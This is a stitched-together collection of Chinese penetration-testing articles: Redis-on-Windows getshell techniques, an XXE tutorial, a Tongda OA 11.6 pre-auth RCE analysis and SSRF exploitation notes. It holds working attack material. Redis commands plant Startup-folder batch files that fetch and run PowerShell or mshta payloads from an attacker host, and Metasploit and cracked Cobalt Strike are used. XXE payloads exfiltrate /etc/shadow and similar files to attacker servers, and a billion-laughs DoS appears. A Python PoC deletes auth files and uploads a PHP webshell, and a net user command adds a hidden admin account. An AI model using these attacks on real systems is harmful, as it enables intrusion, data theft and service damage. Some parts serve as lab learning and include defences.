Redis在windows环境下Getshell方法小结

0x01 前言

Redis未授权访问漏洞很早之前就有了,在实战中如果遇到还是比较幸运的。比如挖到ssrf漏洞,如果内网有个未授权或者弱口令的redis,那么就可以深入的挖掘一下。 Redis如果部署在Linux服务器上还好一些,配合nc可以很方便的就拿到了shell。但是如果部署在Windows环境下就比较鸡肋了,虽是这样说,但是也有一些getshell的办法。

0x02 环境搭建

系统环境:Windows Server 2012 Redis下载地址: https://github.com/microsoftarchive/redis/releases/download/win-3.2.100/Redis-x64-3.2.100.msi

0x03 靶机设置

配置Redis

安装完Redis后它的服务就自动启动了,所以需要执行以下几步: 1.先停止Redis服务 redis-server --service-stop 2.更改配置文件 进入Redis的安装目录,然后修改windows.conf文件 第56行注释掉# bind 127.0.0.1,第75行把protected-mode yes改成protected-mode no 这样就可以模拟未授权访问的Redis靶机。 3.卸载Redis服务 redis-server --service-uninstall 4.安装Redis服务 redis-server --service-install redis.windows.conf 5.启动redis redis-server --service-start

端口设置

Redis默认端口是6379,所以你需要在windows的防火墙里开放6379端口,或者搭建靶机的时候直接就关闭防火墙。

测试Redis未授权访问

我是在Centos7上安装过Redis所以直接拿来用了。

1
2
3
[root@localhost src]# ./redis-cli -h 192.168.230.134
192.168.230.134:6379> ping
PONG

img

配置Windows server 2012

测试过程中发现,默认是无法在启动项文件夹写文件的,需要把C:\Users\Administrator文件夹的组添加上Everyone并把权限改成完全控制,改完以后再测试就可以了。

1
2
3
192.168.230.134:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.230.134:6379>

0x04 几种Getshell方法

方法其实挺多的,但是比较鸡肋,都需要目标主机重启才可以实现…

一、利用powershell反弹shell

1.用msfvenom生成shell.ps1文件

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Kali的IP LPORT=4444 -f psh-reflection >shell.ps1

2.把shell.ps1文件复制到/var/www/html/目录下,然后启动apache2

img

3.用msf进行监听 设置payload的时候注意分清系统是32版本的还是64的。

1
2
3
4
5
6
7
8
9
10
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.230.133
lhost => 192.168.230.133
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.230.133:4444

img

4.利用Redis写入bat文件到启动项 注意\r\n\r\n代表换行的意思,因为用redis写的文件会自带一些版本信息,如果不换行可能会导致无法执行。反斜杠\可以转义你payload中的双引号"

1
2
3
4
5
6
7
8
192.168.230.134:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.230.134:6379> config set dbfilename shell.bat
OK
192.168.230.134:6379> set x "\r\n\r\npowershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.230.133/shell.ps1');xx.ps1\"\r\n\r\n"
OK
192.168.230.134:6379> save
OK

5.重启后得到shell

img

二、利用mshta.exe

/usr/share/metasploit-framework/modules/exploits/windows目录下创建一个msh_shell.rb文件,复制以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end

def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end


def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end

然后在msf里重新加载所有模块:reload_all 找到之后就可以使用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf5 exploit(windows/msh_shell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/msh_shell) > set lhost 192.168.230.133
lhost => 192.168.230.133
msf5 exploit(windows/msh_shell) > set uripath shell
uripath => shell
msf5 exploit(windows/msh_shell) > exploit
zlib(finalizer): the stream was freed prematurely.
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.230.133:4444
[*] Using URL: http://0.0.0.0:8080/shell
[*] Local IP: http://192.168.230.133:8080/shell
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.230.133:8080/shell"

然后利用Redis写入bat文件到启动项

1
2
3
4
5
6
7
8
9
[root@localhost src]# ./redis-cli -h 192.168.230.134
192.168.230.134:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.230.134:6379> config set dbfilename shell.bat
OK
192.168.230.134:6379> set x "\r\n\r\nmshta http://192.168.230.133:8080/shell\r\n\r\n"
OK
192.168.230.134:6379> save
OK

img

手动重启靶机就可以拿到session了

img

三、使用Cobalt Strike

下载地址就不提供了,我是把Cobalt Strike的服务端脚本放到了kali上运行,然后客户端是在我本机(win10)运行的。

1
2
3
4
root@kali:/tools/cobaltctrike3.13-cracked# ./teamserver 192.168.230.133 233
[*] Generating X509 certificate and keystore (for SSL)
[+] Team server is up on 50050
[*] SHA256 hash of SSL cert is: 56b1896ec2bc1dfaab7445e7b9e63f30ab640e5a6180c2ac41de3d936da6c13b

然后用客户端连接,用户名是msf,密码是233,端口具体看服务端返回的

img

创建一个listener,payload默认,端口自己设置

img

生成攻击脚本,注意端口别冲突

img

img

最后生成一串payload,用redis写一个bat脚本到启动项,然后等待目标重启即可

img

1
2
3
4
5
6
7
8
9
[root@localhost src]# ./redis-cli -h 192.168.230.134
192.168.230.134:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.230.134:6379> config set dbfilename shell.bat
OK
192.168.230.134:6379> set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.230.133:80/a'))\"\r\n\r\n"
OK
192.168.230.134:6379> save
OK

手动重启靶机后Cobalt Strike客户端里就看到有主机上线了~

img

四、利用web服务

如果有Web业务的话,可以结合web业务进行Getshell。也是比较鸡肋,起码网站的根目录你得知道。

1
2
3
4
5
6
7
8
9
[root@localhost src]# ./redis-cli -h 192.168.230.134
192.168.230.134:6379> config set dir "C:/phpstudy/WWW"
OK
192.168.230.134:6379> config set dbfilename phpinfo.php
OK
192.168.230.134:6379> set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
OK
192.168.230.134:6379> save
OK

img

0x05 一些思考

在真实环境中确实遇到了几个可以访问启动目录的系统,在测试的过程中,如果安装了安全软件也是可以拿到shell的。还有就是不知道如果开了3389端口的情况下,如果直接执行net user test$ xxxxxx /add & net localgroup administrators test$ /add这种命令会怎样?本地靶机测试是可以的。如果遇到server 2003的系统,可以用写MOF的方法拿shell。真实的业务环境还是很复杂,但是方法总比困难多。总结的不是很全面,有哪些老哥有好的思路欢迎一起交流。

0x06 参考链接

https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html https://blog.csdn.net/weixin_33928467/article/details/86254639

本文分享自微信公众号 - 渗透云笔记(shentouyun)

XXE漏洞

0x00 XML

这次的漏洞是XXE漏洞,全称叫:XML 外部实体注入(XML External Entity Injection)。

首先是XML,XML 是一种标记语言,可以用来定义数据类型,定义好的数据可以方便的在系统间传输和使用。

XML被设计为传输和存储数据,其焦点是数据的内容,目的是把数据从HTML分离,是独立于软件和硬件的信息传输工具。XML文档有自己的一个格式规范,这个格式规范是由一个叫做DTD(document type definition)的东西控制的

如下一个XML文档,它的结构可以分为XML声明、文档类型定义(DTD)、文档元素,其中DTD 是可选的,这次漏洞就是在解析DTD 时产生的。DOCTYPE是DTD的声明,ENTITY是实体的声明,SYSTEM、PUBLIC是外部资源的申请。

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?> //XML 声明
<!DOCTYPE entity [ //文档类型定义
<!ENTITY name "haogang">
]>
<author> //文档元素
<nickname>&name;</nickname> //文档元素
<age>18</age>
</author>

从两个角度可以把XML分为两类共4个类型:(内部实体、外部实体)、(通用实体、参数实体)。其中两大类含有重复的地方。

0x02 DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。

带有DTD的XML文档实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>

2.png

- PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。

5.png

不过,被解析的字符数据不应当包含任何&,<,或者>字符,需要用&amp; &lt; &gt;实体来分别替换

- CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD元素

6.png

DTD属性

属性声明使用以下语法

1
<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD实例

1
<!ATTLIST payment Hu3sky CDATA "H">

XML实例

1
<payment Hu3sky="H" />

以下是属性类型的选项

7.png

默认值参数可以使用下列值:

8.png

DTD-实体(重要)

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可以在内部或外部进行声明

通用实体:&实体名; 引用的实体,他在DTD中定义,在XML文档中引用

参数实体

a.使用% 实体名(这里空格不能少)在 DTD 中定义,并且只能在 DTD 中使用%实体名; 引用

b.只有在DTD文件中,参数实体的声明才能引用其他实体

c.和通用实体一样,参数实体也可以外部引用

9.png

内部实体

1
<!ENTITY 实体名称 "实体的值">

外部实体

1
<!ENTITY 实体名称 SYSTEM "URL">

参数实体

1
<!ENTITY %实体名称 "值">

or

1
<!ENTITY %实体名称 SYSTEM "URL">

内部实体

这里DTD(文档类型定义)的作用是定义XML文件中有哪些模块,这些模块能包含什么样的内容。常见的模块有元素,属性,实体等等。

其中一种模块是实体。实体就像编程语言中的常量,我们可以将一串普通文本定义为一个实体,这样就可以在XML 通过这个实体引用这段文本。实体有两种,直接在DTD 中声明的实体称为内部实体,通过SYSTEM 从外部引入内容的是外部实体。

这样解释比较抽象,我们先来看一个内部实体的示例,看看实体到底是什么。内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE entity [
<!ENTITY name "haogang"> //定义实体 name
]>
<author>
<nickname>&name;</nickname> //使用实体,&实体名;
<age>18</age>
</author>

定义好实体后,在XML 中使用实体时,有固定的格式:以 & 开头,中间是实体名,再以 ; 结尾。经过解析后,实体将会被替换成定义的内容,这里XML 会变成这样:

1
2
3
4
<author>
<nickname>haogang</nickname> //将内容替换为实体内容
<age>18</age>
</author>

这就是实体,通过将一串文本定义为一个实体,就可以在XML 通过这个实体来引用这段文本。

外部实体

在来看一下外部实体,这是一个外部实体的示例,外部实体的标志是使用SYSTEM 将外部文件的内容定义到实体上,然后可以在XML 中通过这个实体,引用外部文件的内容。

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE entity[
<!ENTITY name SYSTEM "file:///etc/password">
]>
<author>
<nickname>&name;</nickname>
<age>18</age>
</author>

这里实体将会被替换成定义的内容,也就是/etc/password,正常使用中 nickname 的内容可能被返回给用户,也就会将服务器password 的内容暴露给了攻击者,导致服务器被攻击。

XXE 漏洞,正是利用了XML 外部实体可以解析外部文件的特性,才使得攻击成为可能。

参数实体+外部实体

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

%name(参数实体)是在DTD中被引用的,而&name;是在xml文档中被引用的。

XXE主要是利用了DTD引用外部实体导致的漏洞。

0x03攻击实例

读取任意文件

例子1

外部实体引用,有回显

这里我用bWAPP平台上的一道XXE的题目来说明

题目是这样的,我们点击这个按钮然后抓包看看11.png

12.png可以看到xxe-1.php页面以POST方式向xxe-2.php页面传输了XML数据,既然是XML数据,我们就可以自己增加一个恶意外部实体然后再原本的XML数据中进行实体调用,来进行XXE攻击,如下:

13.png可以看到,成功的读取了robots.txt中的内容,这里的hu3sky是我们定义的一个外部实体。

为了更好理解原理,我们来看一看xxe-2.php的源码。

主要代码在这。

17.png可以看到这里直接用了simplexml_load_string() ,simplexml_load_string() 函数的作用是把XML 字符串载入对象中。函数获取xml内容,并没有做任何过滤,$login获取login标签里的内容,最后拼接到$message显示在屏幕上18.png

例子二

jarvisoj上的一道题目API调用

这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。

进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包3.png发现了json数据,修改发现可以被解析

4.png。一开始没有思路,后来看了wp,发现是要把json处改为xml。所以就知道了,这题是xxe。修改json处,构造一个xml表单进行xml注入,得到flag。5.png

检测内网端口

有回显时,直接发送payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&XXE;</name>
</root>

当我们检测80端口时,80端口开放,这时会返回页面报错信息(记得url编码。因为页面会解码一次),如下:

15.png当我们检测3389端口,3389端口未开放,端口未开放时返回情况如下:

16.png

Bind XXE

如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。

所以,在没有回显的情况下如何来利用XXE

14.png

思路:

  1. 客户端发送payload 1给web服务器

  2. web服务器向vps获取恶意DTD,并执行文件读取payload2

  3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP

  4. 通过VPS获得回显(nc监听端口)

本地客户端(payload 1 )

1
2
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>

由于web端会解码,所以需要我们先html实体编码一次

payload 2 也就是test.xml的内容(VPS)

1
2
3
4
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
%int;
%trick;

这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload,第二步是一个实体嵌套,trick是远程访问ftp协议所携带的内容

拓:Bind XXE实例

漏洞分析

首先,与大多数挖洞者的探测模式一样,我对目标网站进行了全方位的服务资产踩点识别,在此过程中,我发现了其中一个子域名网站比较有意思,于是,我就对它进行了目录遍历,然后,就发现了其名为/notifications的服务端。在BurpSuite中,对这个/notifications服务端的请求和响应如下图所示:

利用BLIND OOB XXE漏洞获取文件系统访问权限的测试

在其响应内容中,我注意到,除了有XML内容外,还包含了一个XML SOAP语法体。由于没有GET参数可供测试,因此我决定向该/notifications服务端发送一个简单的,不指定任何内容类型(content-type)的POST请求进行探究,之后,在POST请求发出后,XML SOAP语法体不再出现,而且整个请求响应的代码为200:

利用BLIND OOB XXE漏洞获取文件系统访问权限的测试

看来,貌似该Web应用端对POST请求能做出很好的响应,且不会抛出405的请求方法错误,所以我又构造定义了包含content-type: application/xml样式的XML语法内容,用它来作POST请求,看看响应如何:

利用BLIND OOB XXE漏洞获取文件系统访问权限的测试

虽然这次的POST响应还是XML内容,但却与上一次不同,这种响应表面上看似像服务端对GET请求的响应,而且,这次的响应内容中包含的标签值不是上次的“TestRequestCalled”,而是“OK”。接着,我又发送了一个定义的JSON请求(content-type: application/json),来测试服务端的具体响应:

利用BLIND OOB XXE漏洞获取文件系统访问权限的测试

这一次,响应内容又是空的,和未指定任何内容类型的简单POST请求响应一样,由此,我推断该服务端能正常处理XML数据,这样一来,我想尝试利用BLIND XXE攻击方式来触发其漏洞。我通过在自己VPS上架设了一个dtd文件,然后利用外部实体引用途径来测试其XML解析机制,幸运的是,最终部署在我VPS上的这个外部dtd文件实体被成功解析引用,以下是其请求内容和最后的解析结果:

利用BLIND OOB XXE漏洞获取文件系统访问权限的测试

xxe-ftp-server.rb脚本应用

由于该系统使用了java框架,而俄罗斯OnSec实验室曾针对Java程序的XXE-OOB攻击作出了相关研究,并给出相应的payload,以及一个通过ftp服务读取系统目录的漏洞利用脚本xxe-ftp-server.rb,运行该脚本后,8088端口作为http服务端负责获取OOB攻击payload,而8077端口用于ftp连接服务,最终能成功读取到目标系统目录:

利用BLIND OOB XXE漏洞获取文件系统访问权限的测试

尽管最后该漏洞被确认为一个重复报,但我还是想把它分享出来,我自己也从中学到一些判断服务端应用的经验。

一些有用的XXE Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
----------------------------------------------------------------
OoB variation of above (seems to work better against .NET)
----------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;
%param1;
%exfil;
]>
## External dtd: ##
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;
%param3;
%exfil;
]>
## External dtd: ##
<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
-----------------------------------------------------------------------
OoB extra ERROR -- Java
-----------------------------------------------------------------------
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;
%param3;
%exfil;
]>
<r></r>
## External dtd: ##
<!ENTITY % param1 '<!ENTITY &#x25; external SYSTEM "file:///nothere/%payload;">'> %param1; %external;
-----------------------------------------------------------------------
OoB extra nice
-----------------------------------------------------------------------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///usr/local/tomcat/webapps/customapp/WEB-INF/applicationContext.xml ">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil/evil.xml">
%dtd;
]>
<root>&all;</root>

## External dtd: ##

<!ENTITY all "%start;%stuff;%end;">
------------------------------------------------------------------
File-not-found exception based extraction
------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>
## External dtd: ##
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
-------------------------^ you might need to encode this % (depends on your target) as: &#x25;
--------------
FTP
--------------
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
## External dtd ##
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
---------------------------
Inside SOAP body
---------------------------
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
---------------------------
Untested - WAF Bypass
---------------------------
<!DOCTYPE :. SYTEM "http://"
<!DOCTYPE :_-_: SYTEM "http://"
<!DOCTYPE {0xdfbf} SYSTEM "http://"

DOS

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。

命令执行

php环境下,xml命令执行需要php装有expect扩展,但是该扩展默认没有安装,所以一般来说,比较难利用,这里就只给出代码了

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

0x04 防御XXE

使用开发语言提供的禁用外部实体的方法

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据

过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

不允许XML中含有自己定义的DTD

REFERENCE:http://ironxu.com/910

https://www.freebuf.com/news/175451.html、

https://www.freebuf.com/vuls/167087.html

通达OA11.6 preAuth RCE分析

该漏洞需要结合任意文件删除以及文件上传漏洞进行配合

任意文件删除漏洞

首先漏洞是在/module/appbuilder/assets/print.php

img

能将传入的guid传入的文件删除

身份绕过

删文件某些时候可以删除一些认证的文件,进行文件的绕过

img

这里呢,简单来讲就是把auth.inc.php给包含进来,如果没有对应session的话,auth.inc.php就会作为“拦路虎”,让用户去登陆,但是删掉会怎么样?

这里就要看php里面include和require的区别了

这两个东西看起来很相似,都是包含嘛,但是稍稍学过洋文的都知道,include的意思指的是包含,而require却有要求的意思,在这里就可以看出点区别了。

如果要包含的文件找不着,include就索性跳过去了,而require是要求,感觉更加强烈一些,找不着文件就fatal error停止不前了。

而恰巧通达OA里面用的都是include,于是如果发现auth.inc.php失踪了,就会直接跳过去!

因此我们只需要利用前面的漏洞,删掉auth.inc.php,即可跳过通达OA里面大部分身份验证!

其中的代码验证SESSION判断是否登录

变量覆盖和任意文件上传

这里我们看到general/data_center/utils/upload.php

这前面包含的header.inc.php会将$_REQUEST中的所有东西注册成变量

(没找到大佬说的位置)

img

可以尝试使用变量覆盖

漏洞点在图中最后一个else

$repkid可控,然后传参数时加入../../../跳到别的目录(因为通达OA的nginx配置中,上传文件所在的attachment目录里面的PHP不准访问,因此必须要跳出去)

img

POC如下:

1
本POC不是无损利用的,会让对方系统文件被删除导致无法正常工作并且由于目标系统及网络环境不可控,该漏洞也不可能编写出在任何情况下都完全无损的EXP使用时请一定一定要慎重,一定要获取对方书面授权再使用如果仅仅想要检测漏洞的存在性,可以自己编写脚本只检测/module/appbuilder/assets/print.php是否存在 import requeststarget="http://127.0.0.1:8203/"payload="<?php echo 123456 ?>"print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....") url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page:    print("[-]Failed to deleted auth.inc.php")    exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('hack.php', payload)}requests.post(url=url,files=files)url=target+"/_hack.php"page=requests.get(url=url).textif 'No input file specified.' not in page:    print("[+]Filed Uploaded Successfully")    print("[+]URL:",url)else:    print("[-]Failed to upload file")

SSRF到GETSHELL

SSRF到GET SHELL(附修复方案)

背景

SSRF一般用来探测内网服务,但由于应用层使用的Request服务(curl/filegetcontents)一般不只是支持HTTP/HTTPS,导致可以深层次利用。

检测方式

PHP和Java的检测方式类似,找到Request的时候URL的入参是否可以外部控制来判断是否存在SSRF。(已加入Cobra扫描规则)

PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* file_get_contents SSRF Example
*
* @author Feei <wufeifei@wufeifei.com> * @link http://wufeifei.com/ssrf
*/
# 任意文件读取
$url = 'file:///etc/passwd';
echo file_get_contents($url);

# 操作Redis
$url = 'dict://127.0.0.1:6379/info';
echo file_get_contents($url);

/**
* CURL SSRF Example
*
* @author Feei <wufeifei@wufeifei.com> * @link http://wufeifei.com/ssrf
*/
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
# 任意文件读取
$url = 'file:///etc/passwd';
curl($url);

# 操作Redis
$url = 'dict://127.0.0.1:6379/info';
curl($url);

Java

利用方式

拿常用的Curl举例,Curl默认支持的协议非常多。

1
2
3
4
$ curl -V
curl 7.47.1 (x86_64-apple-darwin15.3.0) libcurl/7.47.1 OpenSSL/1.0.2g zlib/1.2.8
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets
  • dict (操作Redis)
  • file (任意文件读取)
  • ftp、ftps (FTP爆破)
  • tftp(UDP协议扩展)
  • gopher (操作Redis、Memcached)
  • imap/imaps/pop3/pop3s/smtp/smtps(爆破邮件用户名密码)
  • rtsp
  • smb/smbs (连接SMB)
  • telnet - 连接SSH/Telnet
  • http、https - 内网服务探测
    • 网络服务探测
    • ShellShock命令执行
    • JBOSS远程Invoker war命令执行
    • Java调试接口命令执行
    • axis2-admin部署Server命令执行
    • Jenkins Scripts接口命令执行
    • Confluence SSRF
    • Struts2一堆命令执行
    • counchdb WEB API远程命令执行
    • mongodb SSRF
    • docker API远程命令执行
    • php_fpm/fastcgi 命令执行
    • tomcat命令执行
    • Elasticsearch引擎Groovy脚本命令执行
    • WebDav PUT上传任意文件
    • WebSphere Admin可部署war间接命令执行
    • Apache Hadoop远程命令执行
    • zentoPMS远程命令执行
    • HFS远程命令执行
    • glassfish任意文件读取和war文件部署间接命令执行

攻击影响获得最大化必须得GET SHELL,通过dict/gopher协议来操作Redis写反弹SHELL是目前最方便的姿势。

使用SSRF操作Redis实战

